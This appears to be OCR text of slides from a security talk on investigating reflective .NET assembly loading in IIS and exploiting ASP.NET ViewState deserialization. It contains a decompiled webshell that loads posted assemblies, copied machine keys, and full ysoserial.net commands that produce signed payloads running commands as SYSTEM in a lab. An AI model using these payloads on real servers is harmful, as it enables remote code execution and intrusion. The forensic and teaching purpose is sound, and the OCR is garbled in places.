3896 5289 22 /reflection.aspx C:\inetpub\wwwroot\
204 6433 14 /reflection.aspx C:\inetpub\wwwroot\
232 6407 892 /reflection.aspx C:\inetpub\wwwroot\
232 6407 14 /reflection.aspx C:\inetpub\wwwroot\
232 6407 14 /reflection.aspx inetpub\wwwroot\
232 6407 10 /reflection.aspx C:\inetpub\wwwroot\
3742 7784 42 [reflection.aspx C:\inetpub\wwwroot\
3742 7784 423 /[reflection.aspx C:\inetpub\wwwroot)\

&
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Investigating .NET Reflection - Loaded assemblies

System information
Services Network Disk
Name PID CPU /O total r.. Private by... User name Description Elevation Integrity Command line
[E]w3wp.exe 65220 1.72 kB/s 150.56 MB NT AUTHORITY\SYSTEM IS Worker Process N/A System c\windows\system32\inets

3§ w3wp.exe (65220) Properties a X

General Statistics Performance Threads Token Modules Memory Environment Handles .NET assemblies NET performance GPU  Disk and Network Comment

Structure ID Flags Path
v (LR v4.0.30319.0 26 CONCURRENT_GC, L...
AppDomain: DefaultDomain . Default, Executable
~ AppDomain: /LM/W3SVC/1/ROOT-1-1337128636001345... . Executable
App_Web_hig41iraj . C:\Windows\Microsoft. NET \Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\App_\
Payload . Payload
Payload . Payload
~ AppDomain: SharedDomain Shared
Microsoft.Build.Utilities.v4.0 . DomainNeutral, Native C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Build.Utilities.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a)
Microsoft.JScript . DomainNeutral C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.]Script\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.
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0O > -

Name

W hash

B App_Web_hig41raj.dll

B keys.aspx.cdcab7d2.compiled
B login.aspx.cdcab7d2.compiled
B process.aspx.cdcab7d2.compiled
B shell.aspx.cdcab7d2.compiled
B test.aspx.cdcab7d2.compiled

[ ] test1.aspx.cdcab7d2.compiled
[ ] zeroed.aspx.cdcab7d2.compiled
B App_Web_hig41raj.dll.delete

B profileoptimization. prof

0 preStartInitList.web

Temporary ASP.NET Files > root

Date modified

9/08/2024 2:18 PM

18/09/2024 6:52 PM
18/09/2024 6:52 PM
18/09/2024 6:52 PM
18/09/2024 6:52 PM
18/09/2024 6:52 PM
18/09/2024 6:52 PM
20/08/2024 7:25 PM
18/09/2024 6:52 PM
20/09/2024 4:14 PM
19/09/2024 2:17 PM

17/08/2024 8:27 AM

>

TN Sort ~ = View v

e22c2559 >

92c7e946

=

Type

File folder
Application extension
COMPILED File
COMPILED File
COMPILED File
COMPILED File
COMPILED File
COMPILED File
COMPILED File
DELETE File
PROF File

WEB File

>

Investigating .NET Reflection — Artifacts

Size
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Investigating .NET Reflection — Decompilation

TETTRS arans erpep

4 g App_Web_hig41raj (0.0.0.0)
4 00 App Web_hiq41 raj.dll
p OO PE
b o0 Type References
P o0 References
P} -
4 {} Asp
b A8 keys_aspx @D2000007
b 42 login_aspx @02000008
b @8 process_aspx @02000005
4 %2 reflection_aspx @02000003
b Bl Base Type and Interfaces
b BB Derived Types
T reflection_aspxf) : void @D6C
By Frameworkinitialize( : void €
T GetTypeHashCode(: int @0
7 ProcessRequest{HttpCo ntexi
&5 _ BuidControlTree(reflection
¢h _ Render__control1(HtmlText

b A : Hitpy
b A : DefaultProfile @170
b A : bool @

&% _fileDependencies : object §
@?é, _initialzed : bool @040000
b 43 shell aspx @02000002
b 4% test_aspx @02000006
b % zeroed_aspx @02000004
P L} _asp

[

using
using
using
using
using
using
using

System;
System.Diagnostics;
System.Reflection;
System.Web;
System.Web.Profile;
System.Web.SessionState;
System.Web. UT;

namespace ASP

{ Token: @xB2808883 RID: 3
public class reflection_aspx : Page, IReguiresSes
i
'/ Token: 8x@6e8e884A RID: 18 RVA: BxBeBe21Ae

[DebuggerNonUserCode]
public reflection_aspx()

sionState, IHttpHandler

{
base. = "~/reflection.aspx™;
if (!'reflection_aspx.__initialized)
i
reflection_aspx. fileDependencies = base.GetlWrappedFileDependencies(new string[] { "~/
reflection. aspx™ });
reflection_aspx. initialized = true;
¥
¥
'/ Token: @x17e0@ee44 RID: 4
 (get) Token: 8x@6888888 RID: 11 RVA: @xBB8B21E6 File Offset: BxBABEA3ES
rofile

protected DefaultPro
{
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Investigating .NET Reflection — Decompilation

__Render___controll(HtmlTextWriter __w, Control parameterContainer)

i
[1 array = . ( . . ["asm"]);
Assembly assembly = Assembly. (array);
assembly.CreateInstance("Payload");
b

ns | Eﬁ; Find handles or DLLs System information

Processes Services Network Disk
Name PID CPU 1/O total r... Private by... User name Description Elevation Integrity Command line
[m] w3wp.exe 65220 1.72 kB/s  150.56 MB NT AUTHORITY\SYSTEM 1IS Worker Process N/A System c\windows\system32\inets

[l w3wp.exe (65220) Properties O X
General Statistics Performance Threads Token Modules Memory Environment Handles .NET assemblies NET performance GPU  Disk and Network Comment

Structure ID Flags
~ CLR v4.0.30319.0 26 CONCURRENT_GC, L...
AppDomain: DefaultDomain 18659... Default, Executable
~ AppDomain: /LM/W3SVC/1/ROOT-1-1337128636001345... Executable
App_Web_hig41r

~ AppDomain: SharedDomain Shared
Microsoft.Build.Utilities.v4.0 543... DomainNeutral, Native
Microsoft.JScript 643... DomainNeutral




Investigating .NET Reflection - Memory acquisition

Task Manager

Details

o

Processes —_

EEw3wp.exe
Performance
App history
Startup apps
Users

Details

Services

Q. w3wp
PID Status User name CPU | Memory (ac... | Architec...| Description
ANt Mt SuCTER 00 139,660 K x64 1IS Worker Process

End task

End process tree

Efficiency mode
Set priority
Set affinity

Analyze wait chain

Debug

Create memory dump file

Open file location
Search online
Properties

Go to service(s)

Dump Dir: %localappdata%\Temp\

X
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Investigating .NET Reflection - Installing WinDBG

* Windows Desktop
* https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/

e Windows Server

* https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-
0/windbg.msixbundle

* Add-AppxPackage .\windbg.msixbundle (From PowerShell)

* NetExt WinDBG Plugin

* https://github.com/rodneyviana/netext/releases/tag/2.1.65.5000
e x64\* => %localappdata%\DBG\EngineExtensions
* x86\* => %localappdata%\DBG\EngineExtensions32

https://x.com/awakecoding/status/1734654111117631929



https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://x.com/awakecoding/status/1734654111117631929

Investigating .NET Reflection - Installing WinDBG

* Windows Desktop
* https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/

e Windows Server

* https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-
0/windbg.msixbundle

* Add- AppxPackage \wmdbg msixbundle (From PowerShell)

o Netl 0: BBB} .load netext

netext version 2.1.65.500@ Aug 17 221

License and usage can be seen here: lwhelp license

Check Latest ver51on lwupdate

For help, type lwhelp (or in WinDBG run: '.browse lwhelp')

Questions and Feedback https://github. cnmfrodneyvlanafnetextflssues

. Copyright (c) 2014-2015 Rodney Vviana (http://blogs.msdn.com/b/rodneyviana)
| Type: !windex -tree or ~*elwstack to get started

https://x.com/awakecoding/status/1734654111117631929



https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://windbg.download.prss.microsoft.com/dbazure/prod/1-2407-24003-0/windbg.msixbundle
https://x.com/awakecoding/status/1734654111117631929

NetExt - Iwhttp

9:000> lwhttp

HttpContext Thread Time Out Running Status Verb url
POPBV241961173b8 -- 90:00:00 00:21:52 200 NA /
PO0Be241d61709b8 -- ©0:01:50 Finished 200 POST /reflection.aspx
PO000242162902f8 -- @0:01:50 Finished 200 POST /reflection.aspx
PO0Oe242961882f8 -- 00:01:50 Finished 404 POST /reflection.aspx
PO00e2435616e9b8 -- 00:01:50 Finlished 404 POST /reflection.aspx
PEOBR24416168cc®  -- @0:01:50 Finished 400 GET /reflection.aspx

6 HttpContext object(s) found matching criteria

You may also be interested in

Dump HttpRuntime info: !wruntime
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NetExt - !WhttD \AAAAAAY%3D%3D&path=C%3A%5

0:000> !whttp 000002421629028

Context Info

Address 1 00000242162902f8

Target/Dump Time : 9/08/2024 4:40:17 AM
Request Time : 9/08/2024 4:18:24
Timeout 1 00:01:50

Timeout Start Time: 9/08/2024 4:18:

AM
24 AM
Timeout Limit Time: 9/08/2024 4:20:14 AM

Request Info

POST /reflection.aspx

Content Type : application/x-www-form-urlencoded
Content Length : 7543

Target in Server: C:\inetpub\wwwroot\reflection.aspx
Body:

[--- Sstart ---]
asm=TVQQAAMAAAAEAAAAT2F %2 F SBAAL BAAAAAAAAAQ
[--- End ---]

Forms[] ! 90000240964511f8

EAAAAAAfugAAtANNIbgBTMOhVGhpcyBwemOncmF tIGNhbmSvdCBiZSBydWAgaWAgREITIG1VZGUUDQOKJAAAAAAAAABQRQAATAEDAKVIOKCA

Response Info

Status : 200 (NULL)

Content Type : text/html

Warning: Finish request pipeline has been called

Server Variables

ALL_HTTP: HTTP_CONNECTION:Keep-Alive

HTTP_CONTENT _LENGTH:7543

HTTP_CONTENT_TYPE:application/x-www-form-urlencoded

HTTP_HOST:127.0.0.1

HTTP_USER_AGENT:Mozilla/5.0 (Windows NT; Windows NT 10.0; en-AU) WindowsPowershell/5.1.22621.3880

ALL_RAW: Connection: Keep-Alive

Content-Length: 7543

Content-Type: application/x-www-form-urlencoded

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-AU) WindowsPowersShell/5.1.22621.3880

APPL_MD_PATH: /LM/W3SVC/1/ROOT

APPL_PHYSICAL_PATH: C:\inetpub\wwwroot\

CONTENT_LENGTH: 7543

CONTENT_TYPE: application/x-www-form-urlencoded H
GATEWAY_ INTERFACE: CGI/1.1

HTTPS: off



NetExt - 'wmodule

* Dumps all valid modules in the current memory dump
* Veryverbose

* -saveto to save modules to disk

* -managed to exclude native modules

e -noms to exclude Microsoft modules

- o L [ o [ w

2:000> lwmodule’ managed “noms
Address Module Version Company Name Debug Mode Type Module Binary
0000024618b400080 0.0.0.0 No CLR App Web prnzdhau.dll
000AO24618CCOOBO No CLR App Web phhszaeg.dll
9000024618ace No CLR Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
P0P0V24618ace No CLR Payloads, Version=1.6.0.0, Culture=neutral, PublicKeyToken=null
PePBV24618ace No CLR Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
9.0.0
9.0.0

\

»]
(]
[>]
=

wv]

& |a

=)

0000024618ace No CLR Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
P0eR024618ace No CLR Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

®
= e =@
2O Q®
e ®
20 009 ®

(\ (\ (\ (\ (

SRS

) )

SIS E|®
]

&=

7 module(s) listed, 145 skipped by the filters
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NetExt - 'wmodule

* Dumps all valid modules in the current memory dump
* Veryverbose

* -saveto to save modules to disk

* -managed to exclude native modules

e -noms to exclude Microsoft modules

e it e r e n e e

9:000> lwmodule -managed -noms -saveto C:\users\zeroed\desktop\asm\

Saved 'C:\users\zeroed\desktop\asm\App Web prnzdhau.dll’ successfully

Saved 'C:\users\zeroed\desktop\asm\App Web phh5z40g.d11" successfully

Saved 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null®' successfully

*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file
*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file
*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file
*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file
*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file
*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file
*%* File 'C:\users\zeroed\desktop\asm\Payloads, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' with same content already exists. Skipping this file

3 module(s) saved, 7 failed, 152 skipped by the filters
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NetExt - 'wmodule

Name

B App_Web_phh5z40g.dlI

E App_Web_prnzdhau.dll

i Payloads, Version=1.0.0.0, Culture=neutra...

(P dnSpy v6.5.1 (64-bit, .NET)

File Edit View Debug Window Help @& =1

Assembly Explorer

4 (F Payload (1.0.0.0)
4 P9 payload.dl
b B3 pe
P 20 Type References
b 50 References
4{}) -
b 9 <Module> @02000001
4 93 payload @02000002
b Bl Base Type and Interfaces
b Bl Derived Types
) Payload() : void @06000001
P mscorlib (4.0.0.0)
PP SystemWeb (4.0.0.0)
PP System (4.0.00)

- ¥ X Payload

Date modified
9/08/2024 3:31 PM
9/08/2024 3:31 PM

9/08/2024 3:31 PM

c# - P st O

using System;
using System.IO;
using System.Text;
using System.Web;

oken: @xP608080¢
public Payload()
i

HttpRequest Request = HttpContext.
HttpResponse Response = HttpContext.
StringBuilder sb = new StringBuilder();

g targetPath = Request. [“path™];
g formatString = "{@,-25)}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}";
ndLine(string.Format(formatString, new
pendLine("=====

object[] { "Name", "Last Access Time", "Last

Type

Size

Application extens...

Application extens...

File

23 KB

23 KB

6 KB

Write Time", “"Creation Time", "Size" }));

foreach (string path in
{
DirectoryInfo directory = new DirectoryInfo(path);
sb.AppendLine(string.Fo

.GetDirect

ries(targetPath))

directory. > T N
3
foreach (string path2 in .GetFiles(targetPath))
{

FileInfo file = new FileInfo(path2);
sb.AppendLine(string.Format (formatString, ne
file. , file. 0

object[] { file.

I
Response.Write(sb.ToString());

mat(formatString, new object[] { directory.

» file.

» directory.

» file.

, directory.

==");
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View State Exploitation



An Introduction to View State

e State management system for ASP applications
* Maintains component state within page
* Does not cross page boundaries

 Created by server and sentin response
* Sent by browser back to server on form submission

 Stored as a hidden field called _ VIEWSTATE

* Value is Base64 encoded
* Usually not encrypted

<html>

<head></head>
¥ <body>

P <pre> @ </pre>

¥ <form method="post" action="./process.aspx” id="cmd">

¥ <div class="aspNetHidden">
<input type="hidden" name="__ VIEWSTATE" id="_ VIEWSTATE" wvalue="/wEPDwULLTE2MjABMDg40DhkZBxuQ4P7vKCo]SATPW+Qxd+8tUEOy@zgkIRyH7Z 3dWWek™ >
<fdiv>



Deserialisation Exploitation

private string dog = "Nero";
° S( 0 references
public string MyDog {

get => dog;
set{
Process process = new Process();
process.StartInfo.FileName = "cmd";
process.StartInfo.Arguments = "/c echo My dogs name is " + value;

process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();

var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

dog = output;
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View State Structure

 Baseb4Enc(ObjectStateFormatter serialised object tree + validation value)

* ObjectStateFormatter
* BinarryFormatter

/A Warning

BinaryFormatter is insecure and can't be made secure. For more

information, see the BinaryFormatter security guide.



View State Security

* Encrypt and Authenticate

* View states are encrypted and signed with a Machine Authentication Code
(MAC)

* Prevents tampering and inspection
* Rareto see

* Authenticate
* View states are signed with a MAC
* Prevents tampering
* Default

* None
e Game Over



https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-da

IIS Machine Keys :cnozcieveioied

¥
« @ » ZEROED-PC » Sites » Default Web Site » b e
File View Help
Connections a X Alerts
“ Machine Key n
(1) The changes have been

[E - -PC\ successfully saved.
v -%g ZEROED-PC (ZEROED-PC\Zer Use this feature to specify hashing and encryption settings for application services, such as view state, Forms authentication, membership and roles, and anonymous identification.

L Application Pools
v .[@] Sites Validation method:
v &) Default Web Site SHA1
¥ test
- & 115 Training Test Encryption method:
Basic Webshell Auto ~ S

Machine Key Reset L
Validation key

[_] Automatically generate at runtime

T1763E86133F05D24A20142DAT1DDE3B095343494CACAFGADECO60FEBAECFASBEOADN493B5CT

Decryption key

) Automatically generate at runtime

3FF12BD23D9D2B78EEF45E97CBEBE196E6CBERS81221B0CT

B web.config

File Edit  View

<?xml version="1.@" encoding="UTF-8"?>

<configuration>
<system.web>
<machineKey decryptionKey="3FF12BD23D9D2B73EEFA5E97CB8BE196E6CEES581221BOC1"
|\Ialida‘ti0l‘lKey:"71763E86133F95D24A2@142DA1DDE38995343494(A(14FE-ADGCQBE)FBSAECFAQGEBA@AQBBSClQZ?EAZEBBQEBECF8FQCDCCEGCEBDE9(9418986E26949387F38732D" />

</system.web>
</configuration>



https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/

https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-

"S MaChine Keys being-actively-exploited/

* No used exclusively for View State

* Validation Key
* Used for signing messages and verifying their signature

* Decryption Key
* Used for encrypting and decrypting messages


https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/

https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-

IIS Machine Keys benoacivelv-expioited

* No used exclusively for View State

* Validation Key

@_—j Internet Information Services (I15) Manager

P €3 » IIS-TRAINING »

File  View Help

Connections . Actions
@31 IIS-TRAINING Home
<, - & ? Manage Server
a— Filt G Show All | Group b B e
rﬁ; IIS-TRAINING (IIS-TRAININGW | _ " . = bl roup by: Area _
4 POpNCaton Poals ASP.NET ~ B Siop
& Default Web Site & = 4 b 4 2‘ L [ R
MET MET MET Error MET MET Trust  Application  Connection] Machine Key L0 El=
Authorizat.. Compilation Pages Globalization Levels Settings Strings 0 set Ne

Pages and Providers  Session State SMTP E-mail
Controls


https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/

https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-

IIS Machine Keys benoacivelv-expioited

N

& Internet Information Services (115) Manager - X
<« € » IS-TRAINING » Sites » Default Web Site » @ o @
File  View Help
Connections - hi Alerts
Machine Ke
< - LAl .-} O y (i) If your server is part of a Web
e farm, specify validation and
:—:_-] Start Page Use this feature to specify hashing and encryption settings for application services, such as view state, Forms decryption keys.
v -T l!S'TRA|NING (I15-TRAINING'\ authentication, membership and reles, and anonymous identification,
£} Application Pools Actions
w (@] Sites Validation method:
. &P Default Web Site SHAT "
Encryption method: -
Generate Keys
Auto ~
® Help

Autornatically generate at runtime

|AutDGenerate,|solateApps

Autornatically generate at runtime

|Aut0 Generate, |solatefpps



https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/
https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/

ValidationKey: 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96E0A0493B5C1927E42EBB963ECFSFOCDCCE6CO3DEOCO418986E269493B7F38732D
DecryptionKey: 3FF12BD23D9D2B78EETF45E97CBEBE196E6CEES581221B0C1

ASP.NET 4.5 and above:

validationAlg: HMACSHA256

validationKey: 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6CI960F68 AECFA96E0A0493B5C1927E42EBB963ECFSFOCDCCEGCO3DEOC0418986E269493B7F38732D
decryptionAlg: Auto

decryptionKey: 3FF12BD23D9D2B78EEF45E97CBSBE196E6C8ES581221B0OC1

ASP.NET 4.0 and below:

appName: /

appld: [LM/W3SVC/1/ROOT

initial validationKey (not useful for direct use):

2DE6447FSEEEEE74B7CDD6F9DB8876576CF494F 1 A025208A6D0A4B4C5F61DEABC6D2FESB6F 1 5COB8E4DCA48E07TEG6EA31BOAIFIBED4AET44AFE724FSDESC3DF68
initial decryptionKey (not useful for direct use): B58D078528D311BFB2DDB8DB6C27658DD30E21F27A9CAEDA

App specific ValidationKey (when uses IsolateApps):

B298BA4ESEEEEET74B7CDD6F9DB8876576CF494F 1A025208 A6D0A4B4C5F6 1 DEABC6D2FESB6F15COBSE4DCA48E07TEG6EA3IBYASF 1BED4AET44AFET24FSDESC3DEF68
Appld Auto specific ValidationKey (when uses IsolateByAppld):

2DE6447FD355BFB1B7CDD6F9DB8876576CF494F1A025208 A6D0A4B4C5F61DEABC6D2FESB6OE 15COBS8E4DCA48E07E6EA3IBIAIF1BED4AET44AFE724F SDESC3DE68
App specific DecryptionKey (when uses IsolateApps): B298BA4E28D311BFB2DDBSDB6C27658DD30E21F27A9CAEDA

Appld Auto specific DecryptionKey (when uses IsolateByApplId): B58D0785D355BFB1B2DDB8DB6C27658DD30E21F27A9CAEDA



https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab

View State Exploitation

* Whatwe’ll need

* Validation Key

 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96
EOA0493B5C1927E42EBB963ECF8FOCDCCE6C03DEOC0418986E269493B7F3873
2D

* Validation Algorithm
* Target Path
MD5

* Application Path SHAT
TripleDES
HMACSHA256
HMACSHA38:
HMACSHAS512

Validation method:

ZEROED.TECH



View State Exploitation

* Whatwe’ll need

* Validation Key

 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96
EOA0493B5C1927E42EBB963ECF8FOCDCCE6C03DEOC0418986E269493B7F3873
2D

* Validation Algorithm
« HMACSHA256

* Target Path

* Application Path

ZEROED.TECH



View State Exploitation

* Whatwe’ll need

* Validation Key

 71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960F68AECFA96
EOA0493B5C1927E42EBB963ECF8FOCDCCE6C03DEOC0418986E269493B7F3873
2D

* Validation Algorithm
« HMACSHA256

* Target Path
* /keys.aspx

* Application Path
e /

ZEROED.TECH



YSoSeri al N ET https://github.com/pwntester/ysoserial.net
[

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "COMMAND" --
validationalg="VALIDATIONALGORITHM" --path="TARGETPATH" --apppath="APPLICATIONPATH"
--validationkey="VALIDATIONKEY" --islegacy --isdebug

-p ViewState — Use YsoSerial.NET’s View State plugin

* -g TextFormattingRunProperties — Specifies the .NET gadget to use

 -c "cmd /c XXX"-The command to run when our payload is deserialised
* --validationkey - The validation key we extracted

* --validationalg — The algorithm used to sign our payload

* --path-The page we will send our payload to

* --apppath-The path of the application we are targeting

o -islegacy - Use legacy crypto APIls when signing payload

tttttttttttt



YSoSerial.NET Command

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami >
C:\\users\\public\\exploited.txt" --validationalg="HMACSHA256" --path="/keys.aspx"
--apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6CO60F68AECFA9S6EOAQ49
3B5C1927E42EBB963ECF8FOCDCCE6CO3DEOCO418986E269493B7F38732D" --islegacy

* -p ViewState — Use YsoSerial.NET’s View State plugin

* -g TextFormattingRunProperties — Specifies the .NET gadget to use

 -c "cmd /c XXX"-The command to run when our payload is deserialised
* --validationkey - The validation key we extracted

* --validationalg — The algorithm used to sign our payload

* --path-The page we will send our payload to

* --apppath-The path of the application we are targeting

o -islegacy - Use legacy crypto APIls when signing payload

ZEROED.TECH


https://zeroed.tech/blog/bsides-2024-code/#ysoserial---command-execution

View State Exploitation

PS C:\Users\Zeroed\Downloads\ysoserial-1dba9culil6ba6e79b6b262b758Fa75e2ee9008e9\Release> .\ysoserial.exe ViewState TextFormattingRunProperties "cmd /
c¢ whoami > C:\\users\\public\\exploited.txt"

%2FWEywAcAAQAAAP%2F%2F%2F%2F 8BAAAAAAAAAAWCAAAAXK1pY3JIvc29mdC5Qb3dlcINoZWxsLkVkaXRvciwgVmVyc21lvbj@zL jAuMCUwLCBDdWxOdXILPW5LdXRyYWwsIFB1YmxpY@tleVRva2VuPTMxYmYz
ODU2YWQzNjRLMzUFAQAAAEJINaWNyb3NvZnQuVmlzdWFsU3R1ZGLvL1R1eHQuRm9ybWFOdGLluZy5UZXhORm9ybWFOdGLluZ1J1b1Byb3BlcnRpZXMBAAAADOZvemYncm91bmRCenVzaAECAAAABgMAAADiIBTw%2F
eG1lsIHZ1cnNpb249IjEuMCIgZW5jb2Rpbmc9InVOZiOxNiI%2FPgOKPE9iamVjdERhdGFQem92aWR1lciBNZXRob2ROYW11PSJITdGFydCIgSXNIbml@aWFsTGOhZEVuYWIsZWQ9IkZhbHNLIiBU4bWxucz@®iaHRO
cDovL3NjaGVtYXMubWljcm9zb2ZOLmNvbS923aW5meC8yMDA2L 3hhbWwvcHI1lc2VudGFPaW9uIliBUbWxuczpzZDOiY2xyLW5hbWVzcGFjZTpTeXNOZWOURGLhZ25vc3RpY3M7YXNzZW1ibHkOU31zdGVEIiBUbW
xuczpldPSJodHRwOi8vc2NoZWlhecy5taWNyb3NvZnQuY29tL 3dpbmZULzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHIvdmlkZXIuT2JqZWNOSW5zdGFuY2U%2BDQogICAgPHNKOLByb2N1c3M%2BDQogIC
AgICA8c2Q6UHIvY2Vzcy5TdGFydE1luZm8%2BDQogICAgICAgIDxZzZDpQcm9jZXNzU3RhenRIbmZVIEFYZ3VEtZW50cz0il 2MgY21kIC9jIHdob2FtaSAmZ3Q7IEM6XFx1c2VyclxccHVibGljXFx1leHBsb210ZW
QudHhOIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Intd40k51bGx9IiBTdGFuZGFyZE91dHB1dEVUY29kaW5nPSJ7eDp0dWxs+SIgVXNLck5hbWU9IiIgUGFzc3dvemQ9IntU4Ok51bGx9IiBEb21haWd9IilgTGOh
ZFVzZXJQcm9maWx1PSJIGYWxzZSIgRmLsZUShbWUOImNtZCIgLz4NCiAgICAgIDwvc2Q6UHIVY2Vzcy5TdGFydELuZm8%2BDQogICAgPC9zZDpQcm9jZXNzPgOKICABLO9iamVjdERhdGFQcm92aWR1lci5PYmpl
Y3RJIbnNOYW53ZTUNCiwvT2JqZWNORGFOYVBYyb3ZpZGVyPgt7gsHtGmIIc6HPb%2FqYOYFgeK5EzcwluGvBEX1eVLKPaQ%3D%3D

< http://127.0.0.1/keys.aspx?  VIEWSTATE=[PAYLOAD]

= The state information is invalid for © X + v — O X

&« C O O 127001 i B % ® @ 9

Server Error in '/' Application.

The state information is invalid for this page and might be corrupted.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System Web HttpException: The state information is invalid for this page and might be corrupted.

Source Error:

An unhandled exception was generated during the execution of the current web reguest. Information regarding the origin and location of the exception can be identified using the exception stack trace belou.

Stack Trace:

[InvalidCastException: Unable to cast object of type 'System.Windows.Data.ObjectDataProvider' to type 'System.Windows.Media.Brush'.]
Microsoft.visualStu .Text.Formatting.TextFormattingRunProperties|.ctor(SerializationInfo info, StreamingContext context) +137




X ® Public % +

View Sta O > ThisPC > localDisk(C) > Users > Public >

B ® W N Sort v = view v ee
MName a Date modified Type Size
B Libraries 20/02/2023 10:02 PM File folder
B Public Account Pictures 20/02/2023 10:04 PM File folder
B9 Public Desktop 4/07/2024 742 PM File folder
W Public Documents 12/02/2024 6:18 PM File folder
I Public Downloads 5/06/2021 10:10 PM File folder
B Public Music 5/06/2021 10:10 PM File folder
Bl Public Pictures 5/06/2021 10:10 PM File folder
W Public Videos 5/06/2021 10:10 PM File folder
[ desktop.ini 7/05/2022 3:22 PM Configuration setti... 1KB
. exploited.txt 11/08/2024 11:38 AM Text Document 1KB

E exploited.txt b4 -+

File Edit  View

nt authority\system ZEROED.TECH



Command

Reflectively loading .NET assemblies via ViewState

.\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6CO6OF68AECFA96EOAO493B5C
1927E42EBB963ECF8F9CDCCE6CO3DEOCO418986E269493B7F38732D" --islegacy --showraw

e -g ActivitySurrogateDisableTypeCheck — Specifies the .NET gadget to use

« -c""—=Anyvalue, Ysoserial just needs the -c argument to be present

e --showraw - Don’t URL encode the output

ZEROED.TECH


https://zeroed.tech/blog/bsides-2024-code/#ysoserial---disabling-type-checking

Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c
"" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CACA4F6AD6C960OF68AECF
A96EOAO493B5C1927E42EBBO963ECF8FOCDCCE6CO3DEOCO418986E269493B7F38732D" - -
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body

@{ _VIEWSTATE=$asm;}|| select -Expand Content

ZEROED.TECH



Reflectively loading .NET assemblies via ViewState

PS C:\Users\Zeroed\Downloads\ysoserial\Release> $asm .\ysoserial.exe ViewState ActivitySurrogateDisableTypeCheck e

PS C:\Users\Zeroed\Downloads\ysoserial\Release> Invoke-WebRequest http://127.0.0.1/keys.aspx POST @{__VIEWSTATE-$asm;} | select
Content
Invoke-WebRequest : Server Error in '/' Application.
The state information is invalid for this page and might be corrupted.
